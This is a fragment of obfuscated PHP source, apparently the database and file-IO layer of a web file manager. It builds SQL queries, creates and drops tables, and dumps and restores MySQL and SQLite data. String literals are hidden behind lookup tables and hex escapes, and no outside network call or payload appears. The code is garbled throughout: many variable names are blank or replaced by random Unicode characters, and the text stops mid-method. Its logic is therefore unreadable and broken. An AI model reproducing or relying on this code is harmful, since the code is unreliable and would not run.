? $[$辮ؗ] : $; $[] = $ܷ[255] . $this->parseWhereItem($this->parseKey($), $׍) . $ܷ[892]; } $ .= implode($ܷ[996], $); } elseif (strpos($, $ܷ[279])) { $Ȳ = explode($ܷ[279], $); $ = array(); foreach ($Ȳ as $辮ؗ => $) { $׍ = $讞 ? $[$辮ؗ] : $; $[] = $ܷ[255] . $this->parseWhereItem($this->parseKey($), $׍) . $ܷ[892]; } $ .= implode($ܷ[991], $); } else { $ .= $this->parseWhereItem($this->parseKey($), $); } } $ .= $ܷ[273] . $⧰Ơ; } $ = substr($, 0, -strlen($⧰Ơ)); } return empty($) ? $ܷ[12] : $ܷ[997] . $; } protected function parseWhereItem($, $Ŀ) { $Ƌ =& $_SERVER[]; $ʲ = $Ƌ[12]; if (is_array($Ŀ)) { if (is_string($Ŀ[0])) { $谓 = strtolower($Ŀ[0]); if (in_array($Ŀ[0], array($Ƌ[871], $Ƌ[998], $Ƌ[999], $Ƌ[1000], $Ƌ[1001], $Ƌ[1002]))) { $ʲ .= $ . $Ƌ[53] . $Ŀ[0] . $Ƌ[53] . $this->parseValue($Ŀ[1]); } elseif (preg_match($Ƌ[1003], $Ŀ[0])) { $ʲ .= $ . $Ƌ[53] . $this->exp[$谓] . $Ƌ[53] . $this->parseValue($Ŀ[1]); } elseif (preg_match($Ƌ[1004], $Ŀ[0])) { if (is_array($Ŀ[1])) { $Ɲ = isset($Ŀ[2]) ? strtoupper($Ŀ[2]) : $Ƌ[989]; if (in_array($Ɲ, array($Ƌ[988], $Ƌ[989], $Ƌ[990]))) { $ = array(); foreach ($Ŀ[1] as $) { $[] = $ . $Ƌ[53] . $this->exp[$谓] . $Ƌ[53] . $this->parseValue($); } $ʲ .= $Ƌ[255] . implode($Ƌ[53] . $Ɲ . $Ƌ[53], $) . $Ƌ[892]; } } else { $ʲ .= $ . $Ƌ[53] . $this->exp[$谓] . $Ƌ[53] . $this->parseValue($Ŀ[1]); } } elseif ($Ƌ[292] == $谓) { $ʲ .= $Ƌ[890] . $ . $Ƌ[53] . $Ŀ[1] . $Ƌ[1005]; } elseif (preg_match($Ƌ[1006], $Ŀ[0])) { $ʲ .= $Ŀ[0]; } elseif (preg_match($Ƌ[1007], $Ŀ[0])) { if (isset($Ŀ[2]) && $Ƌ[292] == $Ŀ[2]) { $ʲ .= $ . $Ƌ[53] . $this->exp[$谓] . $Ƌ[53] . $Ŀ[1]; } else { if (is_string($Ŀ[1])) { $Ŀ[1] = explode($Ƌ[50], $Ŀ[1]); } $֐ = implode($Ƌ[50], $this->parseValue($Ŀ[1])); $ʲ .= $ . $Ƌ[53] . $this->exp[$谓] . $Ƌ[890] . $֐ . $Ƌ[892]; } } elseif (preg_match($Ƌ[1008], $Ŀ[0])) { $ = is_string($Ŀ[1]) ? explode($Ƌ[50], $Ŀ[1]) : $Ŀ[1]; $ʲ .= $Ƌ[890] . $ . $Ƌ[53] . $this->exp[$谓] . $Ƌ[53] . $this->parseValue($[0]) . $Ƌ[991] . $this->parseValue($[1]) . $Ƌ[273]; } else { think_exception(think_lang($Ƌ[994]) . $Ƌ[4] . $Ŀ[0]); } } else { $ݥ = count($Ŀ); $᪣ = $Ƌ[12]; if (is_string($Ŀ[$ݥ - 1])) { $᪣ = isset($Ŀ[$ݥ - 1]) ? strtoupper($Ŀ[$ݥ - 1]) : $Ƌ[12]; if (in_array($᪣, array($Ƌ[988], $Ƌ[989], $Ƌ[990]))) { $ݥ = $ݥ - 1; } } else { $᪣ = $Ƌ[988]; } for ($ = 0; $ < $ݥ; $++) { $ = is_array($Ŀ[$]) ? $Ŀ[$][1] : $Ŀ[$]; if ($Ƌ[292] == strtolower($Ŀ[$][0])) { $ʲ .= $Ƌ[255] . $ . $Ƌ[53] . $ . $Ƌ[1005] . $᪣ . $Ƌ[53]; } else { $֩ = is_array($Ŀ[$]) ? $this->exp[strtolower($Ŀ[$][0])] : $Ƌ[871]; if (!$֩ && is_array($Ŀ[$]) && in_array($Ŀ[$][0], array($Ƌ[871], $Ƌ[998], $Ƌ[999], $Ƌ[1000], $Ƌ[1001], $Ƌ[1002]))) { $֩ = $Ŀ[$][0]; } $ʲ .= $Ƌ[255] . $ . $Ƌ[53] . $֩ . $Ƌ[53] . $this->parseValue($) . $Ƌ[1005] . $᪣ . $Ƌ[53]; } } $ʲ = substr($ʲ, 0, -4); } } else { $ʲ .= $ . $Ƌ[1009] . $this->parseValue($Ŀ); } return $ʲ; } protected function parseThinkWhere($, $ǫ) { $򱎁 =& $_SERVER[]; $ = $򱎁[12]; switch ($) { case $򱎁[347]: $ = $ǫ; break; case $򱎁[992]: $ = is_string($ǫ) ? $ǫ : substr($this->parseWhere($ǫ), 6); break; case $򱎁[1010]: parse_str($ǫ, $ւ); if (isset($ւ[$򱎁[987]])) { $Ԯɵ = $򱎁[53] . strtoupper($ւ[$򱎁[987]]) . $򱎁[53]; unset($ւ[$򱎁[987]]); } else { $Ԯɵ = $򱎁[991]; } $ꡜ = array(); foreach ($ւ as $ => $) { $ꡜ[] = $this->parseKey($) . $򱎁[1009] . $this->parseValue($); } $ = implode($Ԯɵ, $ꡜ); break; } return $; } protected function parseLimit($) { $ =& $_SERVER[]; return !empty($) ? $[51] . $ . $[53] : $[12]; } protected function parseJoin($ظ٨) { $㰈 =& $_SERVER[]; $넅 = $㰈[12]; if (!empty($ظ٨)) { if (is_array($ظ٨)) { foreach ($ظ٨ as $偌 => $в) { if (!1 !== stripos($в, $㰈[1011])) { $넅 .= $㰈[53] . $в; } else { $넅 .= $㰈[1012] . $в; } } } else { $넅 .= $㰈[1012] . $ظ٨; } } $넅 = preg_replace($㰈[1013], think_config($㰈[917]) . $㰈[1014], $넅); return $넅; } protected function parseOrder($Þ) { $ٴ =& $_SERVER[]; if (is_array($Þ)) { $Ų = array(); foreach ($Þ as $ڜ => $) { if (is_numeric($ڜ)) { $Ų[] = $this->parseKey($); } else { $ = in_array(strtoupper(trim($)), array($ٴ[1015], $ٴ[1016])) ? $ٴ[53] . $ : $ٴ[12]; if (preg_match($ٴ[1017], $ڜ)) { $Ų[] = $this->parseKey($ڜ) . $; } else { think_exception($ٴ[1018] . $ڜ); } } } $Þ = implode($ٴ[50], $Ų); } return !empty($Þ) ? $ٴ[1019] . $Þ : $ٴ[12]; } protected function parseGroup($ǫ) { $ы =& $_SERVER[]; return !empty($ǫ) ? $ы[1020] . $ǫ : $ы[12]; } protected function parseHaving($) { $ƻз =& $_SERVER[]; return !empty($) ? $ƻз[1021] . $ : $ƻз[12]; } protected function parseComment($İ) { $ҝ =& $_SERVER[]; return !empty($İ) ? $ҝ[1022] . $İ . $ҝ[1023] : $ҝ[12]; } protected function parseDistinct($) { $ =& $_SERVER[]; return !empty($) ? $[1024] : $[12]; } protected function parseUnion($ܩ́) { $ =& $_SERVER[]; if (empty($ܩ́)) { return $[12]; } if (isset($ܩ́[$[343]])) { $ = $[1025]; unset($ܩ́[$[343]]); } else { $ = $[1026]; } foreach ($ܩ́ as $) { $Ʈ[] = $ . (is_array($) ? $this->buildSelectSql($) : $); } return implode($[53], $Ʈ); } public function insert($ʼn, $ͻ = array(), $ە = false) { $⊾ =& $_SERVER[]; $̟ = $ = array(); $this->model = $ͻ[$⊾[276]]; foreach ($ʼn as $׮ => $) { if (is_array($) && $⊾[292] == $[0]) { $[] = $this->parseKey($׮); $̟[] = $[1]; } elseif (is_scalar($) || is_null($)) { $[] = $this->parseKey($׮); $̟[] = $this->parseValue($); } } $䚱 = ($ە ? $⊾[894] : $⊾[895]) . $⊾[896] . $this->parseTable($ͻ[$⊾[274]]) . $⊾[890] . implode($⊾[50], $) . $⊾[891] . implode($⊾[50], $̟) . $⊾[892]; $䚱 .= $this->parseLock(isset($ͻ[$⊾[836]]) ? $ͻ[$⊾[836]] : !1); $䚱 .= $this->parseComment(!empty($ͻ[$⊾[349]]) ? $ͻ[$⊾[349]] : $⊾[12]); return $this->execute($䚱, $this->parseBind(!empty($ͻ[$⊾[280]]) ? $ͻ[$⊾[280]] : array())); } public function selectInsert($Ҩ, $ƀ, $月 = array()) { $ =& $_SERVER[]; $this->model = $月[$[276]]; if (is_string($Ҩ)) { $Ҩ = explode($[50], $Ҩ); } array_walk($Ҩ, array($this, $[893])); $ = $[1027] . $this->parseTable($ƀ) . $[890] . implode($[50], $Ҩ) . $[1005]; $ .= $this->buildSelectSql($月); return $this->execute($, $this->parseBind(!empty($月[$[280]]) ? $月[$[280]] : array())); } public function update($, $牎) { $ =& $_SERVER[]; $this->model = $牎[$[276]]; $ = $[1028] . $this->parseTable($牎[$[274]]) . $this->parseSet($) . $this->parseWhere(!empty($牎[$[270]]) ? $牎[$[270]] : $[12]) . $this->parseOrder(!empty($牎[$[360]]) ? $牎[$[360]] : $[12]) . $this->parseLimit(!empty($牎[$[287]]) ? $牎[$[287]] : $[12]) . $this->parseLock(isset($牎[$[836]]) ? $牎[$[836]] : !1) . $this->parseComment(!empty($牎[$[349]]) ? $牎[$[349]] : $[12]); return $this->execute($, $this->parseBind(!empty($牎[$[280]]) ? $牎[$[280]] : array())); } public function delete($̃ = array()) { $ᑬ =& $_SERVER[]; $this->model = $̃[$ᑬ[276]]; $ = $ᑬ[1029] . $this->parseTable($̃[$ᑬ[274]]) . $this->parseWhere(!empty($̃[$ᑬ[270]]) ? $̃[$ᑬ[270]] : $ᑬ[12]) . $this->parseOrder(!empty($̃[$ᑬ[360]]) ? $̃[$ᑬ[360]] : $ᑬ[12]) . $this->parseLimit(!empty($̃[$ᑬ[287]]) ? $̃[$ᑬ[287]] : $ᑬ[12]) . $this->parseLock(isset($̃[$ᑬ[836]]) ? $̃[$ᑬ[836]] : !1) . $this->parseComment(!empty($̃[$ᑬ[349]]) ? $̃[$ᑬ[349]] : $ᑬ[12]); return $this->execute($, $this->parseBind(!empty($̃[$ᑬ[280]]) ? $̃[$ᑬ[280]] : array())); } public function select($գ = array()) { $ =& $_SERVER[]; $this->model = $գ[$[276]]; $ = $this->buildSelectSql($գ); $޻嚈 = isset($գ[$[344]]) ? $գ[$[344]] : !1; if ($޻嚈) { $ׁ = is_string($޻嚈[$[95]]) ? $޻嚈[$[95]] : $[1030] . md5($); $搂 = think_cache($ׁ, $[12], $޻嚈); if (!1 !== $搂) { return $搂; } } $ = $this->query($, $this->parseBind(!empty($գ[$[280]]) ? $գ[$[280]] : array())); if ($޻嚈 && !1 !== $) { think_cache($ׁ, $, $޻嚈); } return $; } public function buildSelectSql($ߥ = array()) { $뮿 =& $_SERVER[]; if (isset($ߥ[$뮿[348]])) { if (strpos($ߥ[$뮿[348]], $뮿[50])) { list($, $ϡ) = explode($뮿[50], $ߥ[$뮿[348]]); } else { $ = $ߥ[$뮿[348]]; } $ = $ ? $ : 1; $ϡ = isset($ϡ) ? $ϡ : (is_numeric($ߥ[$뮿[287]]) ? $ߥ[$뮿[287]] : 20); $ = $ϡ * ((int) $ - 1); $ߥ[$뮿[287]] = $ . $뮿[50] . $ϡ; } if (think_config($뮿[1031])) { $ = $뮿[1032] . md5(serialize($ߥ)); $ʯ = think_cache($); if ($ʯ) { return $ʯ; } } $՚ = $this->parseSql($this->selectSql, $ߥ); $՚ .= $this->parseLock(isset($ߥ[$뮿[836]]) ? $ߥ[$뮿[836]] : !1); if (isset($)) { think_cache($, $՚); } return $՚; } public function parseSql($, $ = array()) { $ =& $_SERVER[]; $ = str_replace(array($[1033], $[1034], $[1035], $[1036], $[1037], $[1038], $[1039], $[1040], $[1041], $[1042], $[1043]), array($this->parseTable("{$[$[274]]}"), $this->parseDistinct(isset($[$[1044]]) ? $[$[1044]] : !1), $this->parseField(!empty($[$[268]]) ? $[$[268]] : $[181]), $this->parseJoin(!empty($[$[277]]) ? $[$[277]] : $[12]), $this->parseWhere(!empty($[$[270]]) ? $[$[270]] : $[12]), $this->parseGroup(!empty($[$[515]]) ? $[$[515]] : $[12]), $this->parseHaving(!empty($[$[1045]]) ? $[$[1045]] : $[12]), $this->parseOrder(!empty($[$[360]]) ? $[$[360]] : $[12]), $this->parseLimit(!empty($[$[287]]) ? $[$[287]] : $[12]), $this->parseUnion(!empty($[$[342]]) ? $[$[342]] : $[12]), $this->parseComment(!empty($[$[349]]) ? $[$[349]] : $[12])), $); return $; } public function getLastSql($ɒ = '') { return $ɒ ? $this->modelSql[$ɒ] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($ޕ֥) { return addslashes($ޕ֥); } public function setModel($) { $this->model = $; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } goto aޱ; aޱ: class DbManage { function __construct($Ǯ = array()) { $ =& $_SERVER[]; if (empty($Ǯ)) { $Ǯ = $GLOBALS[$[6]][$[21]]; } $this->database = $Ǯ; } public function model($οԍ = '') { return new ModelBase($οԍ, $_SERVER[][12], $this->database); } public function db($ = false) { $ץ =& $_SERVER[]; $ = array_change_key_case($this->database); if ($this->dbType() == $ץ[13] || !$) { return $this->model()->db(); } $ = $[$ץ[959]]; $[$ץ[959]] = $ץ[12]; if ($[$ץ[954]] == $ץ[951]) { $Ց = $[$ץ[960]]; $[$ץ[960]] = substr($Ց, 0, strrpos($Ց, $ץ[1046])); } $this->database = $; $ݿ˻ = $this->model()->db(); try { $ = $ݿ˻->execute("\163\x68\157\167\40\x64\x61\x74\141\x62\x61\163\145\x73\40\154\x69\153\145\x20\x27{$}\x27"); } catch (Exception $) { } if (!$) { $ݿ˻->execute("\x63\x72\145\x61\164\x65\x20\x64\x61\x74\x61\142\x61\163\145\40\140{$}\x60"); } $[$ץ[959]] = $; if ($[$ץ[954]] == $ץ[951]) { $[$ץ[960]] .= $ץ[1046] . $; } $this->database = $; $ݿ˻->execute("\165\x73\145\40\140{$}\140"); return $ݿ˻; } public function createTable($Ԣ, &$) { $ԭ =& $_SERVER[]; if (!IO::exist($Ԣ)) { ActionCall($ԭ[1047], !0, 0); show_json(LNG($ԭ[1048]), !1); } $ = $this->model()->db(); $Β = sqlSplit(IO::getContent($Ԣ)); foreach ($Β as $̶) { $ = stripos($̶, $ԭ[1049]) === 0; if ($) { $->task[$ԭ[779]] += 1; } $->execute($̶); if ($) { preg_match($ԭ[1050], $̶, $ވõڪ); $->task[$ԭ[1051]] = $ވõڪ[1]; $->update(1); } } } public function insertTable($ɨ, &$ğ) { $Å =& $_SERVER[]; $麸 = $this->model()->db(); $ߧɻ = $͟ ? array($͟) : $麸->getTables(); foreach ($ɨ as $) { $͟ = basename($, $Å[781]); if (!in_array($͟, $ߧɻ)) { continue; } $ğ->task[$Å[1051]] = $͟; if (get_filesize($) == 0) { continue; } $ߣ = $this->sqlToDb($, $ğ); if (!$ߣ) { ActionCall($Å[1047], !0, 0); show_json(LNG($Å[1052]) . "\x5b{$͟}\135", !1); } } } public function sqlFromDb($դ, $, &$, $ = '') { if ($) { $->task[$_SERVER[][1051]] = $դ; } $Ѣ = $this->model($դ); $׻ = 0; $Ȍ = 0; $ = 10000; $ = fopen($, $_SERVER[][1053]); $썢 = $Ѣ->getPk(); $ש = $Ѣ->getDbFields(); $ = $_SERVER[][12]; if ($GLOBALS[$_SERVER[][780]] && in_array($դ, array($_SERVER[][1054], $_SERVER[][1055]))) { $ = $դ; } do { $ = array($썢 => array($_SERVER[][1001], $Ȍ)); $쟃 = $Ѣ->where($)->field($ש)->order($썢 . $_SERVER[][1056])->limit($)->select(); $쟃 = !empty($쟃) ? $쟃 : array(); if (!($ = count($쟃))) { break; } $ = end($쟃); $Ȍ = $[$썢]; $Ă = array(); foreach ($쟃 as $䄝) { if ($) { if ($դ == $_SERVER[][1054]) { if ($䄝[$_SERVER[][33]] == $_SERVER[][1057]) { $܄ = json_decode($䄝[$_SERVER[][369]], !0); if ($܄[$_SERVER[][32]] == $GLOBALS[$_SERVER[][780]] && $܄[$_SERVER[][743]] != 1) { continue; } } } else { if ($䄝[$_SERVER[][33]] == $_SERVER[][1058] && $䄝[$_SERVER[][95]] == $_SERVER[][772]) { continue; } } } if ($) { $䄝[$_SERVER[][78]] = "\x7b\151\157\72{$}\175" . substr($䄝[$_SERVER[][78]], strlen("\173\x69\157\72{$䄝[$_SERVER[][810]]}\x7d")); $䄝[$_SERVER[][810]] = $; } $Ă[] = $_SERVER[][1059] . $this->sqlEncode($䄝) . $_SERVER[][1060]; } $Ԍ = "\x49\x4e\x53\x45\x52\x54\x20\111\x4e\x54\x4f\x20\140{$դ}\x60\x20\x28\x60" . implode($_SERVER[][1061], $ש) . $_SERVER[][1062]; fwrite($, $Ԍ . implode($_SERVER[][1063], $Ă) . $_SERVER[][71] . PHP_EOL); $׻ += $; if ($) { $->update($); } } while ($ == $); fclose($); return $׻; } public function sqlToDb($, &$) { $ü =& $_SERVER[]; $들 = $this->model()->db(); $ߛ = @fopen($, $ü[1064]); if (!$ߛ) { return !1; } $ = 0; $҂ռ = $ü[12]; $잰 = array(); $⁃ = $this->dbType(); $ = $⁃ == $ü[13] ? 500 : 2000; $ַ = basename($, $ü[781]); $Ƞ = 0; $Ԙ = 4194304 - 104858; $ܙ = 1000000 - 104858; while (!feof($ߛ)) { $֌ݖ = trim(fgets($ߛ)); if (!$֌ݖ) { continue; } $Դ = $this->sqlDecode($֌ݖ, $⁃, $ַ); if (stripos($Դ, $ü[350]) === 0) { if (!$҂ռ) { $҂ռ = $Դ . $ü[53]; } continue; } if ($) { $->task[$ü[779]] += 1; } $++; $잰[] = rtrim(rtrim(trim($Դ), $ü[50]), $ü[71]); $ = null; $֎ = strlen($Դ); $Ƞ += $֎; if ($Ƞ >= ($ == 500 ? $ܙ : $Ԙ)) { $ = array_pop($잰); if ($ > 1) { $--; } } if ($ >= $ || $) { $Դ = $҂ռ . implode($ü[50], $잰); if (!$들->execute($Դ)) { return !1; } if ($) { $->update($); } $잰 = array(); $ = 0; $Ƞ = 0; if ($) { $잰 = array($); $ = 1; $Ƞ = $֎; } } } fclose($ߛ); if (!empty($잰)) { $Դ = $҂ռ . implode($ü[50], $잰); if (!$들->execute($Դ)) { return !1; } if ($) { $->update($); } } return !0; } public function dropTable($ = null) { $В = $this->model()->db(); $ = $ ? array($) : $В->getTables(); if (!$) { return; } foreach ($ as $) { if ($) { $ = strtolower($); } else { continue; } $В->execute("\x64\162\157\160\40\164\x61\x62\154\145\40\x69\x66\x20\x65\x78\151\x73\x74\x73\40\x60{$}\x60"); } } private function sqlEncode($) { $ =& $_SERVER[]; $ = array(); foreach ($ as $ܿ) { if (is_array($ܿ)) { $ܿ = json_encode_force($ܿ); } $ܿ = addslashes($ܿ); $ܿ = str_replace(array($[1065], $[226]), array($[1066], $[1067]), $ܿ); $[] = str_replace($[58], $[1068], $ܿ); } return $[58] . implode($[1069], $) . $[58]; } private function sqlDecode($, $, $ݧܑ = '') { $Ր =& $_SERVER[]; $ = str_replace(array($Ր[1066], $Ր[1067]), array($Ր[1065], $Ր[226]), $); if ($ == $Ր[13]) { return $ݧܑ != $Ր[1070] ? stripslashes($) : $; } if ($ݧܑ == $Ր[1070]) { $ = str_replace($Ր[1071], $Ր[117], stripslashes($)); } return $; } public function getSqlFile($휸 = '') { $Ÿ =& $_SERVER[]; $ = $this->dbType(!0); $ = CONTROLLER_DIR . "\x69\x6e\163\164\x61\154\154\57\x64\141\164\x61\57{$}\56\x73\x71\x6c"; $땾 = file_get_contents($); $ܾѶ = $Ÿ[1072] . ($ == $Ÿ[797] ? $Ÿ[1073] : $Ÿ[1074]) . $Ÿ[1075]; preg_match_all($ܾѶ, $땾, $); $ = $[1]; $᪪Ղ = $this->model()->db(); $ә׆ = $᪪Ղ->getTables(); $ = TEMP_FILES . $Ÿ[1076] . date($Ÿ[744]) . $Ÿ[8]; del_dir($); mk_dir($); $ = $ . $Ÿ[1077]; $ﳛ = $ . $Ÿ[1078]; $ = $ == $Ÿ[13] ? $Ÿ[797] : $Ÿ[13]; IO::copy(CONTROLLER_DIR . "\x69\156\x73\164\x61\x6c\154\x2f\x64\x61\164\141\x2f{$}\56\x73\x71\x6c", $); @touch($ . $ . $Ÿ[781]); $ = fopen($, $Ÿ[1053]); $ = fopen($ﳛ, $Ÿ[1053]); if ($ == $Ÿ[13]) { $ә׆ = array_diff($ә׆, array($Ÿ[777], $Ÿ[778])); $։ = array($Ÿ[1079], $Ÿ[1080], $Ÿ[1081]); fwrite($, implode(PHP_EOL, $։) . PHP_EOL . PHP_EOL); foreach ($ә׆ as $꤂) { $Ѩӊ = $this->sqlFromSqlite($꤂); if (!$Ѩӊ[$Ÿ[13]]) { continue; } fwrite($, $Ѩӊ[$Ÿ[13]] . PHP_EOL . PHP_EOL); if (!in_array($꤂, $)) { fwrite($, $Ѩӊ[$Ÿ[797]] . PHP_EOL . PHP_EOL); } } } else { foreach ($ә׆ as $꤂) { $Ѩӊ = $this->sqlFromMysql($꤂); if (!$Ѩӊ[$Ÿ[797]]) { continue; } fwrite($, $Ѩӊ[$Ÿ[797]] . PHP_EOL . PHP_EOL); if (!in_array($꤂, $)) { fwrite($, $Ѩӊ[$Ÿ[13]] . PHP_EOL . PHP_EOL); } } } fclose($); fclose($); $땾 = array($Ÿ[797] => $, $Ÿ[13] => $ﳛ); return $휸 ? $땾[$휸] : $땾; } public function dbType($ = false) { $Ժ =& $_SERVER[]; $ƣŀ = $ ? $GLOBALS[$Ժ[6]][$Ժ[21]] : $this->database; $ƣŀ = array_change_key_case($ƣŀ); $ֻ = $ƣŀ[$Ժ[954]]; if ($ֻ == $Ժ[951]) { $ = explode($Ժ[4], $ƣŀ[$Ժ[960]]); $ֻ = $[0]; } $Ŋ΀ = array($Ժ[1082] => $Ժ[13], $Ժ[899] => $Ժ[797]); if (isset($Ŋ΀[$ֻ])) { $ֻ = $Ŋ΀[$ֻ]; } return $ֻ; } public function sqlFromMysql($, $ = '') { $钃 =& $_SERVER[]; $ޖ = $this->model()->db(); $ = $ޖ->query($钃[1083] . $ . $钃[380]); if (!$ || !$[0]) { return !1; } $Έ = _get($[0], $钃[1084], $钃[12]); if (!$Έ) { return !1; } $ض = "\x44\x52\x4f\120\40\124\x41\102\114\x45\40\111\x46\x20\105\130\x49\123\124\x53\x20\x60{$}\x60\x3b" . PHP_EOL . $Έ . $钃[71]; if ($ && $ == $钃[797]) { return $ض; } $ȑ = array_change_key_case($GLOBALS[$钃[6]][$钃[21]]); $Œ = $ȑ[$钃[959]]; $͝ = $钃[1085] . $Œ . $钃[1086] . $ . $钃[58]; $ǒ = $钃[1087] . $ . $钃[887]; $沒 = $ޖ->query($͝); if (empty($沒)) { $ = array($钃[797] => $钃[12], $钃[13] => $钃[12]); return $ ? $[$] : $; } $ = $ޖ->query($ǒ); $ć = $钃[12]; $ = array(); foreach ($ as $) { if (!$ć && $[$钃[1088]] == $钃[1089]) { $ć = $[$钃[1090]]; } if (isset($[$[$钃[1088]]])) { $[$[$钃[1088]]][$钃[1091]][] = $[$钃[1090]]; continue; } $[$[$钃[1088]]] = array($钃[1092] => $[$钃[1088]], $钃[1091] => array($[$钃[1090]]), $钃[1093] => $[$钃[1094]] == $钃[89] ? 0 : 1); } $ = array(); foreach ($ as $) { $ = $[$钃[1092]] == $钃[1089]; $챬 = array($钃[1095], $[$钃[1093]] == $钃[89] && !$ ? $钃[1096] : $钃[12], $钃[1097], $钃[1098] . $ . $钃[11] . ($ ? $钃[1099] : $[$钃[1092]]) . $钃[117], $钃[1100], $钃[117] . $ . $钃[117], $钃[1101] . implode($钃[1102], $[$钃[1091]]) . $钃[1103]); $[] = implode($钃[53], $챬) . $钃[71]; } $ = array(); $ = array($钃[1104] => $钃[1105], $钃[1105] => $钃[1105], $钃[283] => $钃[310], $钃[282] => $钃[310]); foreach ($沒 as $) { $챬 = array($钃[117] . $[$钃[1106]] . $钃[117], isset($[$[$钃[1107]]]) ? $[$[$钃[1107]]] : $[$钃[1108]], $[$钃[1109]] == $钃[885] ? $钃[1110] : $钃[1111], $[$钃[1106]] == $ć ? $钃[1112] : $钃[12], $[$钃[936]] ? strtoupper(str_replace($钃[11], $钃[12], $[$钃[936]])) : $钃[12]); $[] = trim(implode($钃[53], $챬)); } $ͭڅם = array($钃[1113] . $ . $钃[1114], $钃[1115] . $ . $钃[1116], implode($钃[50] . PHP_EOL, $), $钃[933]); $ = implode(PHP_EOL, array_merge($ͭڅם, $)); if ($ && $ == $钃[13]) { return $; } $ = array($钃[797] => $ض, $钃[13] => $); return $ ? $[$] : $; } public function sqlFromSqlite($, $Ǔ = '') { $ =& $_SERVER[]; $醲 = $this->model()->db(); $₃ = "\120\x52\x41\x47\x4d\101\x20\x54\101\102\114\105\x5f\x49\x4e\x46\x4f\x20\50\x27{$}\47\x29"; $ = "\x53\105\x4c\105\103\x54\40\52\x20\106\122\x4f\x4d\x20\x73\x71\x6c\x69\164\x65\x5f\x6d\141\x73\x74\145\162\x20\127\110\x45\122\105\x20\164\142\x6c\137\x6e\x61\x6d\x65\40\x3d\x20\47{$}\47"; $ = $醲->query($₃); if (empty($)) { $ɔ = array($[797] => $[12], $[13] => $[12]); return $Ǔ ? $ɔ[$Ǔ] : $ɔ; } $̽ = $醲->query($); $ˉ = $¤ = array(); foreach ($̽ as $Ї) { if ($Ї[$[33]] == $[274]) { $ˉ[] = $Ї[$[1117]]; } else { $¤[$Ї[$[32]]] = $Ї[$[1117]]; } } $ͥŜ = array_merge(array($[1113] . $ . $[117]), $ˉ, array_values($¤)); $ͥŜ = implode($[71] . PHP_EOL, $ͥŜ) . $[71]; if ($Ǔ && $Ǔ == $[13]) { return $ͥŜ; } $ʴܖ = array(); $ = array($[1105] => $[1118], $[310] => $[1119]); $͓܋ = $[12]; foreach ($ as $Ї) { if ($Ї[$[57]] == $[89]) { $͓܋ = $Ї[$[32]]; } $܋ = array($[380] . $Ї[$[32]] . $[380], isset($[$Ї[$[33]]]) ? $[$Ї[$[33]]] : $Ї[$[33]], $Ї[$[35]] == $[89] ? $[1110] : $[1120] . $Ї[$[56]], $Ї[$[57]] == $[89] ? $[1121] : $[12]); $ʴܖ[] = trim(implode($[53], $܋)); } foreach ($¤ as $ => $ݜͅ) { $Χ = str_replace($[1122] . $ . $[11], $[12], $); $ۆ = str_replace(array($[117], $[944]), $[380], substr($ݜͅ, stripos($ݜͅ, $[255]))); if ($Χ == $[1099]) { $ = $[1123] . $͓܋ . $[1124]; } else { $ = (stripos($Χ, $[11]) ? $[1125] : $[12]) . ($[1126] . $Χ . $[1127] . $ۆ); } $ʴܖ[] = $; } $ = array($[1128] . $ . $[1129], $[1130] . $ . $[1131], implode($[50] . PHP_EOL, $ʴܖ), $[1132]); $շ = implode(PHP_EOL, $); if ($Ǔ && $Ǔ == $[797]) { return $շ; } $ɔ = array($[797] => $շ, $[13] => $ͥŜ); return $Ǔ ? $ɔ[$Ǔ] : $ɔ; } } class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($ה, $å) { $ =& $_SERVER[]; $ = $å; $GLOBALS[$[1133]] = $[1134] . $ה; Hook::trigger($[1134] . $ה . $[1135], $); $ = self::driverMake($å[0]); if (!$) { return !1; } if (method_exists($, $ה)) { $ = @call_user_func_array(array($, $ה), $å); } else { if (method_exists($, $[1136])) { $ = @call_user_func_array(array($, $ה), $å); } else { if (method_exists(self, $ה)) { $ = @call_user_func_array(array(self, $ה), $å); } else { $ = call_user_func_array(array(parent, $ה), $å); } } } Hook::trigger($[1134] . $ה . $[1137], $, $); return $; } public static function init($) { return self::driverMake($); } public static function copy($ߎ, $, $θͮ = false, $Ի = false) { return self::copyMoveStart($ߎ, $, $θͮ, $_SERVER[][549], $Ի); } public static function move($Ϫ, $ز, $ = false, $ = false) { return self::copyMoveStart($Ϫ, $ز, $, $_SERVER[][551], $); } private static function copyMoveStart($硻, $, $, $ܼ, $ܒ) { $ܖఝ =& $_SERVER[]; $ַ = array($硻, $, $, $ܒ); Hook::trigger($ܖఝ[1134] . $ܼ . $ܖఝ[1135], $ַ); $텲 = self::copyMove($硻, $, $, $ܼ, $ܒ); Hook::trigger($ܖఝ[1134] . $ܼ . $ܖఝ[1137], $ַ, $텲); return $텲; } public static function saveFile($ͬ, $, $ = true) { $ȳ阒 =& $_SERVER[]; $ = self::info($); $ = self::driverMake($ͬ); $С = self::driverMake($); $♴ = !1; if ($С->pathParse[$ȳ阒[1138]]) { $♴ = $С; $ӛ = $С->pathParse[$ȳ阒[1138]]; $С = self::driverMake($ӛ); } if ($->pathParse[$ȳ阒[1138]]) { $݄ϕ = $->pathParse[$ȳ阒[1138]]; $ = self::driverMake($݄ϕ); } $ڗ = $С->pathFather($); $鐲߮ = !0; if (!$ && self::driverIsSame($, $С)) { $鐲߮ = !1; } $ = self::copyFile($, $ͬ, $С, $ڗ, $[$ȳ阒[32]], $鐲߮); if ($♴) { $ = $♴->getPathOuter($); } return $; } private static function copyMove($Ӡ, $, $듘, $, $ڙʈ = false) { $ =& $_SERVER[]; if (!$Ӡ || $Ӡ == $[8] || !$) { return !1; } ignore_timeout(); $ = self::driverMake($Ӡ); $ח = self::driverMake($); $ = $ == $[551]; $ѫђ = !1; if ($ח->pathParse[$[1138]]) { $ѫђ = $ח; $ = $ח->pathParse[$[1138]]; $ח = self::driverMake($); } if ($->pathParse[$[1138]]) { $Ӡ = $->pathParse[$[1138]]; $ = self::driverMake($Ӡ); } self::check($, $Ӡ, $ח, $); Hook::trigger($[75], $, $Ӡ, $ח, $); $ = self::driverIsSame($, $ח); if ($) { if ($ == $[551] && !method_exists($ח, $[1139]) && trim($, $[8]) == trim($ח->pathFather($Ӡ), $[8])) { if ($->pathThis($Ӡ) != $ڙʈ && !$->isTypeObject()) { return $->rename($Ӡ, $ڙʈ); } return 